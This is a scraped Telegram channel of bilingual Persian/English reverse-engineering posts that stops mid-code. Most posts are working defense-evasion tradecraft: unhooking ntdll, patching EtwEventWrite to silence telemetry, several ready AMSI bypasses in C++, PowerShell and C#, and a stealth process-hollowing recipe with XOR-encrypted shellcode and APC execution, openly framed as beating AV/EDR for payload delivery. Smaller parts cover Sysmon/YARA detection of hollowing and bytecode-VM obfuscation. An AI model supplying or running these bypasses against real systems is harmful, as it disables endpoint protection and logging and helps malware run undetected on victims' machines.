ReverseEngineering – Telegram
ReverseEngineering
1.24K subscribers
40 photos
10 videos
55 files
666 links
Download Telegram
// Load clean ntdll from disk
HANDLE hFile = CreateFileA("C:\\Windows\\System32\\ntdll.dll", ...);
HANDLE hMapping = CreateFileMapping(hFile, ..., PAGE_READONLY, ...);
LPVOID cleanNtdll = MapViewOfFile(hMapping, FILE_MAP_READ, ...);

// Compare and restore bytes
PIMAGE_SECTION_HEADER textSection = FindTextSection(currentNtdll);
for (...) {
if (memcmp(currentPtr, cleanPtr, size) != 0)
memcpy(currentPtr, cleanPtr, size); // Restore original bytes
}





🚨 Warning:

Some AVs/EDRs monitor modifications in ntdll.dll memory
→ Solution: Use separate RWX memory and execute syscalls from there.

Combine it with Direct Syscall for near-undetectability 🔥




🧨 Don’t Forget:

To stay fully stealth, also patch amsi.dll and ETW
(Separate post coming for that)




💣 Why Is This Technique Critical?

Feature Why It Matters

Full AV/EDR Bypass You blind them before they even realize 😁
Essential for Defender Evasion Even reflective injection gets caught without it
Core to Red Teaming Almost all real stealth payloads use this as base
🔥2👍1
🔍 مرحله ۶ – تحلیل ماشین مجازی (VM) در Ghidra: شناسایی و درک منطق مخفی‌شده

🎯 هدف:

یاد بگیریم چطور ماشین مجازی ای که ساخته شده توی Ghidra یا هر دیس‌اسمبلر دیگه‌ای دیده میشه و چطور میتونیم منطق پشت اون رو درک کنیم




🔬 سناریو

فرض کن تو به‌عنوان مهندس معکوس با یک باینری روبه‌رو شدی که فقط یک تابع داره و کلی حرکت عجیب داخلشه.
برنامه اجرا میشه و عدد 30 رو چاپ می‌کنه ولی توی تحلیل:

خبری از دستور add نیست

هیچ‌کدوم از اسم‌های متغیرها یا اعداد رو نمی‌بینی

تابع اصلی فقط با آرایه‌ای از بایت‌ها کار میکنه





🧰 چه چیزی در Ghidra می‌بینی؟

فرض کنیم فایل اجرایی همون باینری VM ماست (کامپایل‌شده). وقتی در Ghidra بازش کنی:

🧠 مشاهده اول:

توابع عادی خیلی کوتاه هستن. مثل:

movzx eax, byte ptr [rbp - 0x1]
cmp eax, 0x01
je loc_400600


یا

call 0x00400600

🧠 مشاهده دوم:

یه بخش از کد که پشت سر هم مقادیر از یک آرایه می‌خونه و چیزی رو اجرا میکنه مشابه:

unsigned char bytecode[] = { 0x01, 0x0A, 0x01, 0x14, 0x02, 0x03 };


در Ghidra به شکل دیتای ناشناخته دیده میشه (مگر اینکه خودت struct یا array تعریف کنی)




📌 چی باید دنبال کنی؟

۱ پیدا کردن بخش bytecode

بگرد دنبال آرایه‌ای از مقادیر عجیب مثل:

01 0A 01 14 02 03


معمولا قبل از اجرای VM در حافظه کپی میشه.

۲ پیدا کردن dispatch loop

بخشی از کد که یه حلقه‌ی while مانند داره، و هر بار یه opcode جدید اجرا می‌کنه.

معمولا شکلی شبیه این داره:

movzx eax, byte ptr [rcx]
cmp eax, 0x1
je loc_400601
cmp eax, 0x2
je loc_40062A
cmp eax, 0x3
je loc_40063B

یا با جدول پرش (jump table)

۳ تحلیل عملیات‌ها

هر بخش از dispatch loop مسئول اجرای یک دستور از زبان مجازی ماست:

یک بخش مربوط به PUSH

یک بخش مربوط به ADD

و یکی مربوط به PRINT


در نهایت متوجه میشی کد اصلی که باید تحلیل کنی داخل این تفسیرگر (interpreter) مخفی شده.





> «باینری اجرا میشه و میگه Result: 30
ولی داخلش نه عدد 10 هست، نه 20، نه جمع!
فقط یه حلقه عجیب و غریب داره که از یه آرایه ناشناس دستور میگیره و اجرا میکنه



🔍 Step 6 – Analyzing the Virtual Machine (VM) in Ghidra: Understanding the Hidden Logic




🎯 Goal:

Learn how a custom virtual machine appears in Ghidra (or any disassembler), and how to uncover the logic hidden inside it.




🔬 Scenario:

Imagine you're reverse-engineering a binary with just one main function, and it behaves strangely.

It prints 30 when executed, but when analyzed:

There's no add instruction anywhere

No clear constants or variable names

The main function just works with some weird byte array





🧰 What Do You See in Ghidra?

Let’s say the executable is our compiled VM binary.

🧠 Observation 1:

Most functions are very short, e.g.:

movzx eax, byte ptr [rbp - 0x1]
cmp eax, 0x01
je loc_400600


Or:

call 0x00400600




🧠 Observation 2:

There’s a code section reading from an array of bytes and executing something:

unsigned char bytecode[] = { 0x01, 0x0A, 0x01, 0x14, 0x02, 0x03 };


In Ghidra, this looks like undefined data unless you manually define it as an array or structure.




📌 What Should You Look For?




1 Finding the Bytecode Section

Look for an array of unusual byte values like:

01 0A 01 14 02 03

This is often copied into memory right before the VM starts running.




2 Identifying the Dispatch Loop

Find a loop that resembles a while structure, fetching and executing opcodes.

Usually looks like this:

movzx eax, byte ptr [rcx]
cmp eax, 0x1
je loc_400601
cmp eax, 0x2
je loc_40062A
cmp eax, 0x3
je loc_40063B

Or it might use a jump table or a big switch-like chain.




3 Analyzing the Operations

Each part of the dispatch loop handles a specific virtual instruction from our custom language:

One block handles PUSH

Another handles ADD

And another one handles PRINT


Eventually, you realize that the real logic is not written in assembly directly — it’s hidden inside the interpreter.




> The binary runs and prints:
Result: 30

But you can't find the number 10 or 20 anywhere...
No actual add instruction...
Just a weird loop taking instructions from a mysterious array
3
👻 تقلب نکن آقای بدافزار – دفاع در برابر Process Hollowing

📎 عنوان پیشنهادی برای پست: "وقتی نذاری بدافزار ماسک بزنه! شکار Process Hollowing در لحظه"




💀 حالا فرض کن تو سمت دفاع هستی
مسئول امنیت یه سیستم یا یه سازمانی که یه پروسس قلابی داره توش shellcode اجرا میکنه
چی کار باید بکنی؟
تو این پست ابزارهای Blue Team و تکنیک‌های دفاعی ضد Hollowing رو بررسی میکنیم




🔐 ۱ Sysmon + Windows Event Forwarding

با Sysmon می‌تونی لحظه‌ای که یه پردازش ساخته میشه یا از حافظه RWX استفاده می‌کنه رو لاگ بگیری

📌 کانفیگ آماده SwiftOnSecurity:

<Sysmon schemaversion="4.50">
<EventFiltering>
<ProcessCreate onmatch="include">
<CommandLine condition="contains">notepad.exe</CommandLine>
</ProcessCreate>
<ImageLoaded onmatch="include">
<Image condition="contains">.exe</Image>
</ImageLoaded>
</EventFiltering>
</Sysmon>


🧠 دنبال Signatureهای مشکوک باش مثل:

VirtualAllocEx با PAGE_EXECUTE_READWRITE

WriteProcessMemory

CreateRemoteThread یا ResumeThread





🛡️ ۲ EDRها و Defender پیشرفته

اگه از EDRهای حرفه‌ای مثل:

CrowdStrike Falcon

SentinelOne

Microsoft Defender for Endpoint


استفاده کنی خودشون رفتار Hollowing رو به‌صورت Heuristic شناسایی می‌کنن.
ولی یادت نره: اگه مهاجم با تکنیک‌های بای‌پس بیاد (مثلاً APC injection یا unhook)، همینا هم رد میشن




🧪 ۳ شناسایی حافظه مشکوک با ابزارهای Memory Forensics

ابزارهایی مثل:

PE-sieve

HollowsHunter

Volatility / Rekall


می‌تونن به‌صورت Runtime حافظه‌هایی که کد PE جدید بهشون Inject شده رو شناسایی کنن.




📏 ۴ شکار Yara Style

یه قانون ساده YARA واسه تشخیص RWX Memory:

rule suspicious_memory_allocation {
meta:
denoscription = "Detects memory regions with RWX permissions"
condition:
uint8(0) == 0x90 and
for any i in (1..filesize) : (
uint8(i) == 0xC3
)
}


یا می‌تونی یارا بنویسی که PE Header رو بررسی کنه و تفاوت اون با حافظه جاری رو بفهمه




🛠️ جمع‌بندی:

دفاع در برابر Hollowing فقط با آنتی‌ویروس نیست
🧠 باید لاگ حافظه، رفتار، و حتی ساختار باینری رو زیر نظر بگیری



---

👻 No More Tricks, Mr. Malware – Defending Against Process Hollowing

📎 Suggested Title: "When You Don’t Let Malware Wear a Mask: Real-time Detection of Process Hollowing"




💀 Imagine You're on the Defense Side

You're responsible for securing a system or enterprise environment...
Suddenly, there's a suspicious process running — looks like a legit notepad.exe, but it’s actually executing malicious shellcode.

How do you catch it?

This post dives into blue team tools and defensive techniques to detect and prevent process hollowing in real time




🔐 1 Sysmon + Windows Event Forwarding

Sysmon allows real-time logging of process creation and suspicious memory behaviors like RWX allocations.

📌 Sample config (from SwiftOnSecurity):

<Sysmon schemaversion="4.50">
<EventFiltering>
<ProcessCreate onmatch="include">
<CommandLine condition="contains">notepad.exe</CommandLine>
</ProcessCreate>
<ImageLoaded onmatch="include">
<Image condition="contains">.exe</Image>
</ImageLoaded>
</EventFiltering>
</Sysmon>


🧠 Look for suspicious patterns:

VirtualAllocEx with PAGE_EXECUTE_READWRITE

WriteProcessMemory

CreateRemoteThread or ResumeThread





🛡️ 2 Advanced EDR & Defender Solutions

Tools like:

CrowdStrike Falcon

SentinelOne

Microsoft Defender for Endpoint


...can heuristically detect process hollowing behavior based on memory and thread activity.

⚠️ But beware:
If the attacker uses advanced bypasses (e.g., APC injection, manual unhooking), even top-tier EDRs might miss it.




🧪 3 Memory Forensics & Runtime Scanners

Tools like:

PE-sieve

HollowsHunter

Volatility / Rekall


...can analyze memory in real time and detect injected PE files, unmapped PE headers, or manipulated sections.

These tools are invaluable for deep detection after compromise or for threat hunting




📏 4 YARA-based Memory Scanning

Example rule to detect RWX memory regions containing shellcode-like patterns:
rule suspicious_memory_allocation {
meta:
denoscription = "Detects memory regions with RWX permissions"
condition:
uint8(0) == 0x90 and
for any i in (1..filesize) : (
uint8(i) == 0xC3
)
}


You can also write YARA rules that compare loaded PE headers vs. on-disk versions, spotting tampering or hollowing.


-

🛠️ Final Thoughts:

Defending against process hollowing isn't just about having antivirus.
🧠 You need a layered approach:

Behavioral monitoring (Sysmon, EDR)

Memory analysis (Volatility, PE-sieve)

Structural inspection (YARA, custom signatures)
1
🔕 (خاموش کردن Event Tracing for Windows)

«وقتی می‌خوای دزد شی اول دوربین رو قطع کن!» 📹🚫




🎯 قضیه چیه؟

ETW یا Event Tracing for Windows یه مکانیزم Core در ویندوزه که تقریباً همه‌چی رو لاگ می‌کنه:

اجرای پروسه‌ها

بارگذاری DLLها

API callهای حساس

فعالیت‌های مشکوک و…


تقریباً همه AVها و EDRها (مثل Defender, CrowdStrike, SentinelOne) از ETW Providers برای لاگ‌برداری استفاده می‌کنن.




🔐 راه‌حل چیه؟

ما می‌تونیم توابع مربوط به ETW رو Patch یا Nuke کنیم. یعنی:

تابع هدف در ntdll.dll

EtwEventWrite
EtwEventWriteFull
EtwEventRegister
EtwNotificationRegister


→ با NOP کردن یا بازنویسی به ret کاری میکنیم که هیچ event لاگ نشه! 😎




🔧 روش ساده (Patch تابع با RET):

روش C/C++ (با Patch مستقیم):


// آدرس تابع EtwEventWrite رو بگیر
void* etwAddr = GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");

// تغییر حافظه به writable
DWORD oldProtect;
VirtualProtect(etwAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);

// جایگزین کن با opcode مربوط به RET
*(BYTE*)etwAddr = 0xC3;

// برگرد به حالت اولیه
VirtualProtect(etwAddr, 1, oldProtect, &oldProtect);


> این کار باعث می‌شه هر چی EDR بخواد log کنه به جایی نفرسته 😁






📦 ابزارهای آماده برای ETW Bypass:

ابزار توضیح

sRDI + Patch ترکیب Reflective Injection با ETW Patch
BOF برای استفاده داخل Cobalt Strike
Kraken Direct Syscall + ETW Patch به‌صورت stealth
PatchETW ابزار اختصاصی برای ETW Patch کامل





😈 حالت پیشرفته‌تر:

اگه بخوای stealth بیشتری داشته باشی:

با direct syscall → حافظه رو RW کن

hook check انجام بده که مطمئن شی توسط EDR hooked نشده

از ابزار unhook-nativedll + ETW patch استفاده کن برای ترکیب کامل





⚠️ خطرات احتمالی:

بعضی EDRها متوجه می‌شن که تابع ETW تغییر کرده
→ پس حتما بعد از unhooking ntdll انجامش بده

بعضی‌ها حتی integrity check دارن! راه‌حل؟ syscall خالص بدون patch





💣 نکته حیاتی:

ETW بدون patch نشه حتی اگه AMSI رو هم بای‌پس کرده باشی
ممکنه موقع اجرای شل‌کد یا بدافزار، از طریق Sysmon + Defender + Log fusion detect شی



🔕 Turning Off Event Tracing for Windows (ETW)

📹🚫 “If you're planning a heist, disable the security cameras first!”




🎯 What's the Deal?

ETW (Event Tracing for Windows) is a core telemetry mechanism in Windows that logs nearly everything:

Process creation

DLL loading

Sensitive API calls

Suspicious behavior patterns


💡 Almost every modern AV/EDR (Defender, CrowdStrike, SentinelOne, etc.) leverages ETW Providers for telemetry and detection.




🔐 The Red Team Trick?

Patch or Nuke ETW-related functions in memory, especially in ntdll.dll.

🧠 Key targets:

EtwEventWrite

EtwEventWriteFull

EtwEventRegister

EtwNotificationRegister


👉 You patch them by NOPing or overwriting with a RET, so they return immediately without logging anything.




🔧 Simple Patching Example (C/C++)

Patch EtwEventWrite to silently disable telemetry:

void* etwAddr = GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");

DWORD oldProtect;
VirtualProtect(etwAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);

*(BYTE*)etwAddr = 0xC3; // 0xC3 == RET

VirtualProtect(etwAddr, 1, oldProtect, &oldProtect);


💥 Result? No ETW logs. EDRs try to trace events… but there's nothing there 😎




📦 Ready-Made Tools for ETW Bypass

Tool Denoscription

sRDI + Patch Combine Reflective DLL Injection with ETW patching
BOF Beacon Object File for use in Cobalt Strike
Kraken Direct syscalls + stealthy ETW patching
PatchETW Tool dedicated to complete ETW function patching





😈 Advanced Stealth Tips

Want to be more sneaky?

Use Direct Syscalls to:

Mark memory RW

Avoid API hooks

Patch ETW silently


Combine with:

unhook-nativedll (restore clean ntdll)

ETW patch (after unhook to avoid AV detection)





⚠️ Potential Risks

Some EDRs validate ETW function integrity – they detect the patch!
→ Fix: Perform manual unhooking first, then patch

Some use code integrity checks
→ Solution: Use pure syscalls (no patching needed)





💣 Final Note:

Even if you bypass AMSI, ETW might still catch you.
Sysmon, Defender, and EDRs correlate telemetry with Log Fusion.

🧠 ETW must be patched or evaded for real stealthy payload execution
3
🧠 ساخت یک VM پیچیده‌تر با Obfuscation داخلی




🎯 هدف:

ساخت نسخه دوم ماشین مجازی که به‌شدت تحلیل رو سخت‌تر می‌کنه طوری که تحلیل‌گر مجبور شه زمان زیادی صرف درک منطق کنه




💡 ایده‌هایی برای پیاده‌سازی VM پیشرفته‌تر:

1 اضافه‌کردن دستورات جعلی (Junk Instructions):

دستوراتی که کاری نمیکنن ولی باعث شلوغ‌شدن bytecode می‌شن



2 رمزگذاری Bytecode:

bytecode رو رمز میکنیم و VM اول decrypt
ش میکنه بعد اجرا



3 Control Flow Obfuscation:

اضافه‌کردن پرش‌های دروغین loopهای غیرواقعی و ترتیب اجرای غیرخطی.



4 ساخت Jump Table:

به‌جای switch ساده، از table برای نگه‌داری pointer هر دستور استفاده میکنیم







🧪 مثال عملی – نسخه دوم VM با دستورات جعلی

📦 Bytecode جدید (با دستورات جعلی)

FF ; NOP_FAKE_1
01 0A ; PUSH 10
AB ; NOP_FAKE_2
01 14 ; PUSH 20
FF ; NOP_FAKE_1
02 ; ADD
CD ; NOP_FAKE_3
03 ; PRINT

📚 دستورها:

کد دستور توضیح

01 PUSH_VAL مقدار روی استک بذار

02 ADD جمع دو عدد از استک

03 PRINT چاپ بالا‌ی استک

FF NOP_FAKE_1 هیچ کاری نمیکنه

AB NOP_FAKE_2 هیچ کاری نمیکنه

CD NOP_FAKE_3 هیچ کاری نمیکنه





🧠 پیاده‌سازی در C:

#define PUSH_VAL 0x01
#define ADD 0x02
#define PRINT 0x03
#define NOP1 0xFF
#define NOP2 0xAB
#define NOP3 0xCD

unsigned char bytecode[] = {
0xFF, // Fake NOP
0x01, 0x0A, // PUSH 10
0xAB, // Fake NOP
0x01, 0x14, // PUSH 20
0xFF, // Fake NOP
0x02, // ADD
0xCD, // Fake NOP
0x03 // PRINT
};

void run_vm() {
int pc = 0;
while (pc < sizeof(bytecode)) {
unsigned char op = bytecode[pc++];
switch (op) {
case PUSH_VAL:
push(bytecode[pc++]);
break;
case ADD:
push(pop() + pop());
break;
case PRINT:
printf("Result: %d\n", pop());
break;
case NOP1:
case NOP2:
case NOP3:
// Do nothing (fake instruction)
break;
default:
printf("Unknown opcode: %02X\n", op);
return;
}
}
}





🎯 تحلیل‌گر چه چیزی می‌بینه؟

در Ghidra همه چیز پیچیده‌تر به‌نظر می‌رسه چون:

bytecode قابل درک نیست (باید reverse بشه)

مسیر اجرای کد به خاطر NOP ها پخش و گیج‌کننده‌ست

کنترل جریان واضح نیست




🧠 Building a More Advanced Virtual Machine with Internal Obfuscation

🎯 Goal:
Create a second version of the VM that’s significantly harder to analyze—one that forces the reverse engineer to spend considerable time understanding its logic.




💡 Ideas for Implementing a More Complex VM:

1 Junk Instructions:
Add fake opcodes that do nothing but bloat the bytecode and confuse analysis.


2 Bytecode Encryption:
Encrypt the bytecode and have the VM decrypt it before execution.


3 Control Flow Obfuscation:
Insert fake jumps, fake loops, and non-linear execution to break down static analysis tools.


4 Jump Table Instead of Switch:
Use a function pointer jump table rather than a simple switch-case for opcode handling.






🧪 Practical Example – Version 2 of the VM (With Fake Instructions)

📦 Sample Bytecode with Junk Instructions:

FF ; NOP_FAKE_1
01 0A ; PUSH 10
AB ; NOP_FAKE_2
01 14 ; PUSH 20
FF ; NOP_FAKE_1
02 ; ADD
CD ; NOP_FAKE_3
03 ; PRINT




📚 Instruction Set:

Opcode Mnemonic Denoscription

01 PUSH_VAL Push value onto the stack

02 ADD Add two top values on stack

03 PRINT Print the top of the stack

FF NOP_FAKE_1 Fake NOP, does nothing

AB NOP_FAKE_2 Another fake NOP

CD NOP_FAKE_3 Yet another fake

NOP








🧠 C Implementation:

#define PUSH_VAL 0x01
#define ADD 0x02
#define PRINT 0x03
#define NOP1 0xFF
#define NOP2 0xAB
#define NOP3 0xCD
🔥2
unsigned char bytecode[] = {
0xFF, // Fake NOP
0x01, 0x0A, // PUSH 10
0xAB, // Fake NOP
0x01, 0x14, // PUSH 20
0xFF, // Fake NOP
0x02, // ADD
0xCD, // Fake NOP
0x03 // PRINT
};

void run_vm() {
int pc = 0;
while (pc < sizeof(bytecode)) {
unsigned char op = bytecode[pc++];
switch (op) {
case PUSH_VAL:
push(bytecode[pc++]);
break;
case ADD:
push(pop() + pop());
break;
case PRINT:
printf("Result: %d\n", pop());
break;
case NOP1:
case NOP2:
case NOP3:
// Do nothing
break;
default:
printf("Unknown opcode: %02X\n", op);
return;
}
}
}





🔍 What Will the Analyst See?

In tools like Ghidra or IDA, the analysis becomes messy because:

The bytecode is not human-readable — it must be reversed.

The control flow is polluted with fake instructions.

Execution is intentionally obfuscated with meaningless operations.
🔥2
🧬 AMSI Bypass

«وقتی می‌خوای با PowerShell اجرا کنی، ولی AMSI مثل سگ دنبالت می‌کنه!» 🐕🚫




🎯 AMSI چیه دقیقاً؟

AMSI (Antimalware Scan Interface)
سیستمیه که تو ویندوز تعبیه شده تا محتواهایی مثل:

PowerShell Scriptها

VBScript / JScript

.NET Assemblies

Macros


رو قبل از اجرا، به آنتی‌ویروس (مثلاً Defender) بده برای اسکن 😑

یعنی حتی اگه تو RAM یه شل‌کد با PowerShell اجرا کنی، AMSI می‌تونه بفرسته سمت AV برای تحلیل → Detect 😵




😈 راه‌حل؟ خاموشش کن!

هدف ما اینه که تابع اصلی AmsiScanBuffer رو نابود کنیم یا فریب بدیم




🔧 روش اول: Patch کردن AmsiScanBuffer (کلاسیک‌ترین روش)

🔥 C++ کد خام:

HMODULE hAmsi = LoadLibraryA("amsi.dll");
FARPROC addr = GetProcAddress(hAmsi, "AmsiScanBuffer");

// RWX کردن تابع
DWORD old;
VirtualProtect(addr, 1, PAGE_EXECUTE_READWRITE, &old);

// تبدیل تابع به RET (0xC3)
*(BYTE*)addr = 0xC3;
VirtualProtect(addr, 1, old, &old);

حالا هر چی بدی به AmsiScanBuffer، مستقیم رد میشه بدون اینکه اسکن شه




🧪 روش دوم: Bypass با PowerShell (برای RedTeamerها)

$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null,$true)

> این اسکریپت می‌گه AMSI خراب شده و دیگه scan نکنه!






🧪 روش سوم: AMSI Bypass در .NET (C#)

[DllImport("kernel32")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32")]
static extern IntPtr LoadLibrary(string name);



IntPtr amsi = LoadLibrary("amsi.dll");
IntPtr addr = GetProcAddress(amsi, "AmsiScanBuffer");

byte[] patch = { 0xC3 };
Marshal.Copy(patch, 0, addr, 1);




⚔️ روش‌های خفن‌تر و EDR-safe:

روش توضیح

Indirect Patching استفاده از Direct Syscall برای ناپدید شدن از API
Manual Mapping AMSI.dll رو دستی از حافظه حذف کن و کد خودت رو بذار
Memory Unhook + Patch ntdll رو پاکسازی کن، بعدش amsi.dll رو patch کن





⚠️ هشدار:

Defender روی Integrity بعضی DLLها مثل amsi.dll نظارت می‌کنه

اگر فقط 0xC3 بزنی، ممکنه EDR بفهمه Hook شده

امن‌ترین حالت → استفاده از DirectSyscall + RWX Section برای Patch کردن





🧰 ابزارهایی که AMSI رو Bypass میکنن:

ابزار توضیح

AMSITrigger ایجاد triggerهایی برای بررسی حساسیت AMSI
AMSI.fail مجموعه bypassهای مختلف
SharpBypassAmsi بای‌پس با C#
Invoke-AmsiBypass مخصوص PowerShell





😎 جمع‌بندی تاکتیکی:

اگر با چی کار کنی؟ AMSI کمک می‌کنه؟ راه‌حل بایپس

PowerShell Empire بله Patch در PS یا .NET
Cobalt Strike BOF معمولاً نه AMSI Patch در BOF
DLL Injection بله AMSI.dll Patch یا manual load
فایل ماکرو شدیدا بله Patch قبل از اجرای payload




🧬 AMSI Bypass

“You try to run your payload with PowerShell, but AMSI is on your tail like a rabid dog!” 🐕🚫




🎯 What is AMSI exactly?

AMSI (Antimalware Scan Interface) is a Windows feature that scans suspicious content before it executes, including:

PowerShell noscripts

VBScript / JScript

.NET assemblies

Office macros


😑 Even if you inject shellcode into RAM via PowerShell, AMSI can still hand it over to Defender for inspection → Detection! 😵




😈 The Solution? Trick it or Kill it.

Our goal: Disable or patch the AmsiScanBuffer function, the heart of AMSI’s scanning logic.




🔧 Method 1: Classic C++ Patching of AmsiScanBuffer

HMODULE hAmsi = LoadLibraryA("amsi.dll");
FARPROC addr = GetProcAddress(hAmsi, "AmsiScanBuffer");

// Make memory RWX
DWORD old;
VirtualProtect(addr, 1, PAGE_EXECUTE_READWRITE, &old);

// Patch: Replace with RET (0xC3)
*(BYTE*)addr = 0xC3;

// Restore protection
VirtualProtect(addr, 1, old, &old);

Now anything passed to AmsiScanBuffer is just ignored and not scanned.




🧪 Method 2: PowerShell Bypass (For Red Teamers)

$amsi = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$field = $amsi.GetField('amsiInitFailed','NonPublic,Static')
$field.SetValue($null, $true)

> This tells AMSI it failed to initialize — and disables scanning completely.






🧪 Method 3: AMSI Bypass in .NET (C#)

[DllImport("kernel32")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32")]
static extern IntPtr LoadLibrary(string name);
3
IntPtr amsi = LoadLibrary("amsi.dll");
IntPtr addr = GetProcAddress(amsi, "AmsiScanBuffer");

byte[] patch = { 0xC3 };
Marshal.Copy(patch, 0, addr, 1);




⚔️ More Advanced & EDR-Safe Techniques:

Method Denoscription

Indirect Patching Use direct syscalls to avoid detection through standard APIs
Manual Mapping Manually unmap amsi.dll from memory and inject your own version
Memory Unhook + Patch Clean up ntdll hooks and then patch amsi.dll safely





⚠️ Warning:

Windows Defender and EDRs monitor DLL integrity, especially for amsi.dll.
Patching with just 0xC3 might be flagged as suspicious hooking.

Safest Approach: Use Direct Syscalls + RWX memory region to patch dynamically and stealthily.




🧰 Tools for AMSI Bypass:

Tool Denoscription

AMSITrigger Generate custom payloads to test AMSI sensitivity
AMSI.fail Public collection of multiple AMSI bypasses
SharpBypassAmsi C#-based AMSI patcher
Invoke-AmsiBypass PowerShell bypass noscript





😎 Tactical Summary:

Payload Type AMSI Involved? Recommended Bypass

PowerShell Empire Yes PowerShell/.NET patch
Cobalt Strike BOF Usually no Patch AMSI in BOF (if needed)
DLL Injection Yes Manual patch or unmap AMSI
Office Macro Heavily Patch AMSI before macro payload
🔥2
بای‌پس آنتی‌ویروس با Process Hollowing پیشرفته

📎 عنوان پیشنهادی برای پست: "وقتی حتی EDR هم خاموش می‌مونه – هنر پنهان‌کاری حرفه‌ای"




🎯 هدف چیه؟

تو این مرحله می‌خوایم یه نسخه پیشرفته از Process Hollowing بنویسیم که:

‌ آنتی‌ویروس نخونه‌ش
EDR گیر نده
رفتارش توی لاگ‌ها نیفته




🧪 تکنیک‌های پیشرفته:

1 🔒 جایگزینی APIها با Native API (Anti-EDR)

بجای استفاده از VirtualAllocEx و WriteProcessMemory که اکثر EDRها روش حساسن، از Native API مثل NtAllocateVirtualMemory و NtWriteVirtualMemory استفاده کن:

ntdll = ctypes.windll.ntdll
ntdll.NtAllocateVirtualMemory(...)
ntdll.NtWriteVirtualMemory(...)

اکثر آنتی‌ویروس‌ها Hook گذاشتن روی توابع Win32. با استفاده از NTDLL مستقیم، از روشون در می‌ری.




2 🎭 Unhook کردن APIها از memory

وقتی آنتی‌ویروس‌ها DLLها رو hook می‌کنن، کد اصلی تو حافظه نیست.

تو می‌تونی نسخه اصلی NTDLL رو از دیسک بخونی و به جای حافظه hook شده overwrite کنی:

# Load clean copy of NTDLL
# Replace hooked functions in memory with clean ones

ابزارهایی مثل TitanHide یا EKRECON این کارو راحت می‌کنن.




3 📦 رمزنگاری شل‌کد (در لحظه اجرا Decrypt کن)

شل‌کد رو با یه الگوریتم ساده مثل XOR رمز کن، توی حافظه Decryptش کن:

def xor(data, key):
return bytearray([b ^ key for b in data])

encrypted_shellcode = xor(real_shellcode, 0x41)

🧠 این‌جوری شل‌کدت تو دیسک و حتی مموری قابل تشخیص نیست.




4 🎯 اجرای غیر مستقیم با QueueUserAPC یا NtCreateThreadEx

بجای CreateRemoteThread یا ResumeThread از QueueUserAPC استفاده کن:

kernel32.QueueUserAPC(shellcode_ptr, thread_handle, 0)

به جای اینکه مستقیم اجرا کنی نخ قربانیو مجبور میکنی shellcode تو رو اجرا کنه – خیلی خفنه!



🎭 Advanced Process Hollowing – EDR-Friendly Edition

📎 Suggested noscript: “When Even EDR Stays Silent – The Art of Stealth”




🎯 Goal:

We’re building a stealthy Process Hollowing implementation that:
Bypasses AV detection
Evades EDR hooks
Stays off behavioral logs

This is not your basic CreateRemoteThread hollowing – this is OPSEC-level red team tradecraft.




🧪 Advanced Techniques Breakdown




1🔒 Replace Win32 APIs with Native APIs (Anti-EDR)

EDRs aggressively hook Win32 APIs like:

VirtualAllocEx

WriteProcessMemory

CreateRemoteThread


👉 Use direct NTDLL syscalls instead:

ntdll = ctypes.windll.ntdll
ntdll.NtAllocateVirtualMemory(...)
ntdll.NtWriteVirtualMemory(...)

This bypasses EDR hooks entirely because most hooks are on kernel32/user32, not ntdll.




2 🎭 Unhooking API Functions from Memory

When EDRs hook DLLs (like ntdll.dll), they patch functions in memory.
You can overwrite these hooked functions with a clean copy from disk:

Read a clean ntdll.dll from disk

Replace the in-memory functions via manual patching


🛠 Tools like TitanHide, EkRecon, or custom unhookers help automate this.

Result: Your syscall path is clean, undetected by inline hooks.




3 📦 Shellcode Encryption & Runtime Decryption

Never embed raw shellcode in your binary or memory.

🔐 Encrypt your shellcode using a simple XOR or AES, and decrypt in memory at runtime:

def xor(data, key):
return bytearray([b ^ key for b in data])

encrypted = xor(shellcode, 0x41)
# Decrypt in memory just before execution

Makes it undetectable at rest and harder to flag during memory scans.




4 🎯 Indirect Execution via QueueUserAPC or NtCreateThreadEx

Avoid noisy functions like CreateRemoteThread or ResumeThread.

Instead, use stealthy execution primitives:

// Shellcode is already allocated & written to memory
QueueUserAPC(shellcode_ptr, thread_handle, 0);

This forces a suspended thread in a remote process to execute your payload when it wakes — looks legit, behaves clean.

Alternate: Use NtCreateThreadEx directly for more stealth over CreateRemoteThread.




🧠 Summary of Evasion Moves

Technique Purpose Bypass Level

Native API Calls (Nt*) Avoid Win32 API hooks AV + EDR
Manual Unhooking Clean execution flow EDR evasion
Encrypted Shellcode Prevent static/memory sigs AV evasion
Indirect Execution (APC) Behavioral stealth EDR + SIEM evasion
61
🔐 رمزگذاری Bytecode و اجرای آن داخل ماشین مجازی




🎯 هدف:

افزایش مقاومت VM در برابر تحلیل با رمزگذاری bytecode و decrypt کردن آن در زمان اجرا




🤔 چرا این کار رو می‌کنیم؟

وقتی bytecode ما به‌صورت plaintext داخل فایل باینری قرار داشته باشه حتی اگه پیچیده باشه با کمی بررسی می‌تونن به منطق برنامه پی ببرن

ولی اگر bytecode رمز شده باشه تا زمانی که decrypt نشه هیچکس نمی‌تونه بفهمه چی قراره اجرا بشه




🔒 رمزگذاری ساده با XOR

ما از یه کلید ساده برای XOR کردن bytecode استفاده می‌کنیم. مثلاً:

کلید: 0xAA


🔧 مثال رمزگذاری‌شده:

Bytecode قبل از رمزگذاری:

01 0A 01 14 02 03

رمز شده با XOR 0xAA:

AB A0 AB BE A8 A9

حالا اینو داخل باینری قرار می‌دیم




🧪 اجرای VM با Decryption داخلی

#define KEY 0xAA

unsigned char encrypted_bytecode[] = {
0xFF, // fake nop (همچنان باقی‌ست)
0xAB, 0xA0, // push 10 (رمز شده)
0xAB, // fake
0xAB, 0xBE, // push 20 (رمز شده)
0xFF, // fake
0xA8, // add (رمز شده)
0xCD, // fake
0xA9 // print (رمز شده)
};

unsigned char bytecode[sizeof(encrypted_bytecode)];

void decrypt_bytecode() {
for (int i = 0; i < sizeof(encrypted_bytecode); i++) {
switch (encrypted_bytecode[i]) {
case 0xFF: case 0xAB: case 0xCD:
bytecode[i] = encrypted_bytecode[i]; // fake ها رمز نشده‌ان
break;
default:
